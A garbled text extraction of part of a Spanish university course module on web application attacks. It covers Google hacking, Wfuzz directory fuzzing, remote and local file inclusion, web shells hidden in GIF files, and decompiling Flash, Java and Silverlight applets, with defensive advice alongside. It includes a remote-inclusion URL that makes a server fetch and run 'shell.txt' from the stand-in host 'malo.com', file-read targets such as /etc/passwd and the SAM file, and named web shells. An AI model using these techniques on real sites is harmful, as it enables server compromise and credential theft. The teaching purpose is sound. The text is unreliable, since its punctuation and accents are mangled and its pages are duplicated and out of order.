evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 53: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

